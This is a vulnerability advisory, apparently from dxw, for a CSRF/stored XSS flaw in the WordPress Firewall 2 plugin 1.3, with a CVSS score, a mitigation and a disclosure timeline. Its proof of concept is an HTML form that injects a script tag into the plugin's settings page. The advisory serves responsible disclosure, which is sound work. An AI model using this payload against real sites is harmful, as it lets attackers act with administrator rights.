WordPress Plugin Firewall 2 1.3 - Cross-Site Request Forgery / Cross-Site Scripting

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Details
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Software: WordPress Firewall 2
Version: 1.3
Homepage: https://wordpress.org/plugins/wordpress-firewall-2/
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
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CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can

Vulnerability
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HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page.

Proof of concept
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Visit the following page, click on the submit button, then visit the plugin’s options page:
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<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\">
  <input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
  <input type=\"text\" name=\"set_email\" value=\"Set Email\">
  <input type=\"submit\">
</form>

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In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.

Mitigations
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Disable the plugin until a new version is released that fixes this bug.

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
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2016-12-23: Discovered
2017-03-16: Reported to vendor by email
2017-04-04: Vendor could not be contacted



Discovered by dxw:
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Tom Adams
Please visit security.dxw.com for more information.
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